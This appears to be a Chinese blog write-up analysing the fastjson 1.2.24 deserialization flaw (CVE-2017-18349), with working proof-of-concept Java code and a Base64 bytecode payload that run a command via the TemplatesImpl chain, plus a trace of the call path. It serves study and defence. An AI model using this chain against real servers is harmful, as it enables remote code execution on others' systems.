fastjson1.2.24 反序列化漏洞(CVE-2017-18349)分析

FastJson在<= 1.2.24 版本中存在反序列化漏洞,主要原因FastJson支持的两个特性:

  • fastjson反序列化时,JSON字符串中的@type字段,用来表明指定反序列化的目标恶意对象类。
  • fastjson反序列化时,字符串时会自动调用恶意对象的构造方法,set方法,get方法,若这类方法中存在利用点,即可完成漏洞利用。

主要存在两种利用方式:

  • JdbcRowSetImpl(JNDI)
  • TemplatesImpl(Feature.SupportNonPublicField)

这里分析TemplatesImpl利用链

漏洞复现

首先创建一个maven项目、导入Fastjson1.2.23并自动下载相关依赖

image-20231218183253537

然后写入如下代码至Main.java

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;public class Main {public static void main(String[] args) {ParserConfig config = new ParserConfig();String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);}
}

POC中的利用链TemplatesImpl类的中的绝大多数成员变量是被private修饰,影响漏洞的主要是_bytecodes_outputProperties 两个成员变量。

  • @type :反序列化的恶意目标类型TemplatesImpl,FastJson最终会按照这个类反序列化得到实例
  • _bytecodes:继承AbstractTranslet 类的恶意类字节码,使用Base64编码。
  • _outputPropertiesTemplatesImpl反序列化过程中会调用getOutputProperties 方法,导致bytecodes字节码成功实例化,造成命令执行。
  • _name:调用getTransletInstance 时会判断其是否为null,为null直接return,不会进入到恶意类的实例化过程;
  • _tfactorydefineTransletClasses 中会调用其getExternalExtensionsMap 方法,为null会出现异常;

运行之后直接弹出计算器:

image-20231218183923530

漏洞分析

上面的text里面的_bytecodes的内容是以下内容通过javac编译成字节码文件(.class)再base64编码后的结果:

image-20231218185111759

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Test extends AbstractTranslet {public Test() throws IOException {Runtime.getRuntime().exec("calc");}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}@Overridepublic void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {}public static void main(String[] args) throws Exception {Test t = new Test();}
}

可以看到,我们通过以上代码直接定义类Test,并在类的构造方法中执行calc的命令;至于为什么要写上述代码的第14-21行,因为Test类是继承AbstractTranslet的,上述代码的两个transform方法都是实现AbstractTranslet接口的抽象方法,因此都是需要的;具体来说的话,第一个transform带有SerializationHandler参数,是为了把XML文档转换为另一种格式,第二个transform带有DTMAxisIterator参数,是为了对XML文档中的节点进行迭代。
**总结:**对于上述代码,应该这么理解:建立Test类,并让其继承AbstractTranslet类,然后通过Test t = new Test();来初始化,这样我就是假装要把xml文档转换为另一种格式,在此过程中会触发构造方法,而我在构造方法中的代码就是执行calc,所以会弹出计算器。

为什么要继承AbstractTranslet

https://blog.csdn.net/solitudi/article/details/119082164

JavaClassLoader类提供了defineClass()方法,可以把字节数组转换成Java类的实例

defineClass的利用方式

public class TouchFile{public TouchFile() throws Exception {Runtime.getRuntime().exec("calc");}}

把它编译成字节码后Base64
之后运行

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code =Base64.getDecoder().decode("yv66vgAAADQAHgoABgARCgASABMIABQKABIAFQcAFgcAFwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAYAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAOVG91Y2hGaWxlLmphdmEMAAcACAcAGQwAGgAbAQAEY2FsYwwAHAAdAQAJVG91Y2hGaWxlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAACAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEAAEABEADQASAAsAAAAEAAEADAAJAA0ADgACAAkAAAAmAAIAAQAAAAq4AAISA7YABFexAAAAAQAKAAAACgACAAAAFgAJABcACwAAAAQAAQAMAAEADwAAAAIAEA==");
Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "TouchFile", code, 0, code.length);
yyds.newInstance();

成功弹出了计算器

image-20231219163042298

但是这里面的方法的作用域是被Protected修饰的,也就是说这个方法只能在ClassLoader类中访问,不能被其他包中的类访问:

image-20231219162422592

TransletClassLoader类继承了ClassLoader

image-20231219162620372

并且在TransletClassLoader类中,defineClass调用了ClassLoader里面的defineClass方法:

image-20231219163132353

然后追踪TransletClassLoader的使用,发现是defineTransletClasses

image-20231219163248524

image-20231219163438492

再往上追踪defineTransletClasses的使用,发现是getTransletInstance

image-20231219163607448

image-20231219163705606

到此为止,要么是Private修饰要么就是Protected修饰,需要再往上继续追踪,发现是newTransformer,可以看到此时已经是public了:

image-20231219163815811

因此,利用链如下:

TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

基于此,我们可以写出如下POC

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;public class Main {public static class test{}public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass cc = pool.get(test.class.getName());String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";cc.makeClassInitializer().insertBefore(cmd);String randomClassName = "test" + System.nanoTime();cc.setName(randomClassName);cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));try {byte[] evilCode = cc.toBytecode();String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String text1 = "{"+"\"@type\":\"" + NASTY_CLASS +"\","+"\"_bytecodes\":[\""+evilCode_base64+"\"],"+"'_name':'test',"+"'_tfactory':{ },"+"'_outputProperties':{ }"+"}\n";ParserConfig config = new ParserConfig();Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);} catch (Exception e) {e.printStackTrace();}}
}
解释一下这段POC:首先,代码导入了一些类,包括com.alibaba.fastjson.JSON和com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,还有javassist库的一些类。在Main类中定义了一个内部静态类test,没有任何具体实现。在main方法中,代码创建了一个ClassPool对象,它是Javassist库的一部分,用于管理类的池。然后使用pool.get(test.class.getName())获取了test类的CtClass对象。接下来,代码构造了一个字符串变量cmd,内容是要执行的命令,这里是java.lang.Runtime.getRuntime().exec("calc");,即执行计算器程序。然后,通过cc.makeClassInitializer().insertBefore(cmd)在test类中插入了一个类初始化器,该类初始化器会在类初始化时执行指定的命令。接下来,代码生成一个随机的类名,并使用cc.setName(randomClassName)将test类的名称修改为随机生成的类名。然后,通过cc.setSuperclass(pool.get(AbstractTranslet.class.getName()))设置test类的父类为AbstractTranslet类,这是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的一个实现。最后,代码使用Fastjson库解析一个JSON字符串text1,并尝试将其转换为Java对象。这里使用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作为目标类型。在解析过程中,Fastjson库的Feature.SupportNonPublicField特性被启用,以支持解析非公共字段。

image-20231219174501971

对于JSON字符串text1

            String text1 = "{"+"\"@type\":\"" + NASTY_CLASS +"\","+"\"_bytecodes\":[\""+evilCode_base64+"\"],"+"'_name':'test',"+"'_tfactory':{ },"+"'_outputProperties':{ }"+"}\n";
  • @type :反序列化的恶意目标类型TemplatesImpl,FastJson最终会按照这个类反序列化得到实例
  • _bytecodes:继承AbstractTranslet 类的恶意类字节码,使用Base64编码。最终这个类会被加载并使用newInstance()实例化
  • _outputPropertiesTemplatesImpl反序列化过程中会调用getOutputProperties 方法,导致bytecodes字节码成功实例化,造成命令执行。
  • _name:调用getTransletInstance 时会判断其是否为null,为null直接return,不会进入到恶意类的实例化过程;
  • _tfactorydefineTransletClasses 中会调用其getExternalExtensionsMap 方法,为null会出现异常

为什么这么构造呢?还是直接看defineTransletClasses这里:

image-20231219175611078

可以看到,逻辑是这样的:先判断_bytecodes是否为空,如果不为空,则执行后续的代码;后续的代码中,会调用到自定义的ClassLoader去加载_bytecodes中的byte[],并对类的父类进行判断,如果是ABSTRACT_TRANSLET也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,那么就把类成员属性的_transletIndex设置成当前循环中的标记位,第一次调用的话,就是class[0]

image-20231219180803622

可以看到,这里的_bytecodes_outputProperties都是类成员变量。同时,_outputProperties有自己的getter方法,也就是getOutputProperties

在Fastjson库的反序列化过程中,当遇到TemplatesImpl类的实例时,Fastjson会尝试调用getOutputProperties()方法来获取输出属性。

这是由于Fastjson库在解析过程中会调用目标类的一些方法,以了解对象的结构和属性。而TemplatesImpl类中的getOutputProperties()方法是Java API规定的方法之一,Fastjson会默认调用它。

image-20231219180820601

getOutputProperties()方法触发了整个漏洞利用流程:getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() / EvilClass.newInstance()

JavaClassLoader类提供了defineClass()方法,可以把字节数组转换成Java类的实例

image-20231219184037545

参考

https://mp.weixin.qq.com/s/SOKLC_No0hV9RhAavF2hcw

https://xz.aliyun.com/t/7846

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/232697.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SpringBoot 源码解析4:事件监听器

SpringBoot 源码解析4&#xff1a;事件监听器 1. 初始化监听器2. 创建事件发布器 SpringApplicationRunListeners3. 事件分发流程3.1 SimpleApplicationEventMulticaster#multicastEvent3.2 获取监听器 AbstractApplicationEventMulticaster#getApplicationListeners3.3 Abstra…

BEFF引言与概述

BeEF的简介在现代互联网时代&#xff0c;Web浏览器已成为人们日常生活中不可或缺的工具。然而&#xff0c;正是因为其广泛的使用和复杂的功能&#xff0c;Web浏览器成为了黑客们攻击的主要目标之一。为了利用Web浏览器中的漏洞和弱点&#xff0c;渗透测试人员和黑客们开发了一些…

pip使用

python37 -m pip install xxx -i https://pypi.tuna.tsinghua.edu.cn/simple 查看已安装的库 python37 -m pip list

【数据结构】使用循环链表结构实现约瑟夫环问题

目录 1.循环链表的定义 2.约瑟夫环问题 3.创建循环链表 4.删除节点操作 5.打印所有节点 6.实现约瑟夫环问题的完整程序代码 &#x1f308;嗨&#xff01;我是Filotimo__&#x1f308;。很高兴与大家相识&#xff0c;希望我的博客能对你有所帮助。 &#x1f4a1;本文由Filotimo_…

手动配置 kafka 用户密码,认证方式等的方式

场景 部分场景会指定使用某一kafka 来提高安全性&#xff0c;这里就不得不使用用户密码认证方式等来控制 方法示例 // 手动加载配置信息private Map<String, Object> consumerConfigs() {Map<String, Object> props new HashMap<>();props.put(ConsumerCo…

自动化测试知识总结(含资料)

一、自动化测试 自动化测试的定义&#xff1a;使用一种自动化测试工具来验证各种软件测试的需求&#xff0c;它包括测试活动的管理与实施、测试脚本的开发与执行。 自动化测试只是测试工作的一部分&#xff0c;是对手工测试的一种补充; 自动化测试绝不能代替手工测试;多数情况…

jsp学生选课系统

介绍 一款简单的Servlet mysql jsp的选课系统&#xff0c;主要有三大模块&#xff0c;管理员模块&#xff0c;教师模块&#xff0c;学生模块。管理员模块主要功能模块有系统管理&#xff0c;课程管理&#xff0c;教师管理&#xff0c;课表管理&#xff0c;学生管理&#xff…

ADB:获取坐标

命令&#xff1a; adb shell getevent | grep -e "0035" -e "0036" adb shell getevent -l | grep -e "0035" -e "0036" 这一条正确&#xff0c;但是&#xff0c;grep给过滤了&#xff0c;导致没有输出 getevent -c 10 //输出10条信息…

大模型 RLHF 实战!【OpenAI独家绝技RLHF!RLHF的替代算法DPO!Claude 暗黑科技 RAIHF!】

大模型 RLHF 实战 大模型 RLHF 实战RLHF&#xff1a;OpenAI独家绝技RLHF 的问题 DPO 直接偏好优化算法&#xff1a;RLHF的替代算法公式 1 - 4&#xff1a;KL散度下奖励的最大化目标使用 DPO 微调 Llama 2 RAIHF 大模型 RLHF 实战 RLHF&#xff08;基于人类反馈的强化学习&#…

gradio

gradio启动cmd并尝试kill import gradio as gr import subprocessall_pid []def get_all_pid():return str(all_pid)def train_0():proc subprocess.Popen([python, a.py], cwdpy_folder_path)all_pid.append(proc.pid)def train_1():proc subprocess.Popen([python, b.py]…

Springboot管理系统数据权限过滤(三)——0业务入侵实现部门数据权限过滤

上一章&#xff0c;讲解了SQL拦截器的&#xff0c;做了一个简单的SQL改造。本章要实现&#xff1a; 仅对指定的service方法内执行的SQL进行处理&#xff1b;完成对部门权限的过滤&#xff1b; 以下简单用一个图说明了整个处理过程&#xff0c;红色框住的部分&#xff0c;就是…

非制冷红外成像技术实现高灵敏度和高分辨率

非制冷红外成像技术实现高灵敏度和高分辨率主要依赖于以下几个方面&#xff1a; 探测器设计&#xff1a;非制冷红外成像技术采用的探测器通常具有高灵敏度和高分辨率的特点。这些探测器能够有效地接收并转换红外辐射&#xff0c;从而产生高质量的图像信息。 光学系统设计&…

CPU缓存一致性问题

什么是可见性问题&#xff1f; Further Reading &#xff1a;什么是可见性问题&#xff1f; 缓存一致性 内存一致性 内存可见性 顺序一致性区别 CPU缓存一致性问题 由于CPU缓存的出现&#xff0c;很好地解决了处理器与内存速度之间的矛盾&#xff0c;极大地提高了CPU的吞吐能…

CompleteFuture与Future的比较

CompleteFuture的介绍CompleteFuture的特点CompleteFuture的应用场景CompletableFuture的优缺点Future的介绍Future的特点Future的应用场景Future的优缺点CompletableFuture和Future的区别CompletableFuture和Future的关联关系CompletableFuture和Future的使用示例CompletableF…

压力测试过程中内存溢出(堆溢出、栈溢出、持久代溢出)情况如何解决

在压力测试过程中&#xff0c;可能会遇到内存溢出的问题&#xff0c;其中常见的包括堆内存溢出、栈内存溢出和持久代溢出。解决这类问题需要首先理解各种内存溢出的原因和特点。 堆内存溢出&#xff1a;这种情况通常发生在稳定性压测一段时间后&#xff0c;系统报错&#xff0…

elementui+ <el-date-picker type=“datetime“/>时间组件的当前时间的180天之内的禁止选择处理

需求1如下&#xff1a;当前时间180天不可选择&#xff0c;180天之后可以选择&#xff0c;之前的时间都禁止选择 页面代码如下&#xff1a; <el-date-picker v-model"temp.expire_time" :picker-options"pickerOption" type"datetime" placeh…

css实现边框彩虹跑马灯效果

效果展示 代码实战 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" content"widthdevice-…

台湾虾皮卖什么比较好

虾皮&#xff08;Shopee&#xff09;平台在台湾地区广受欢迎&#xff0c;吸引了大量的消费者和卖家。该平台上有许多热销产品类别&#xff0c;这些产品在台湾市场上具有巨大的销售潜力。在本文中&#xff0c;我们将介绍虾皮平台上一些热门的产品类别&#xff0c;并提供一些建议…

大数据Doris(三十八):Aggregate 和 Uniq 模型中的 ROLLUP

文章目录 Aggregate 和 Uniq 模型中的 ROLLUP 一、获得每个用户的总消费

Docker部署Yapi(ubuntu)

Docker部署Yapi 文章目录 Docker部署Yapidocker-compose.yml测试 docker-compose.yml $ git clone https://github.com/vulhub/vulhub.git $ cd vulhub/yapi/mongodb-inj $ ls 1.png config.json docker-compose.yml initdb.js poc.py README.md README.zh-cn.md $ cat …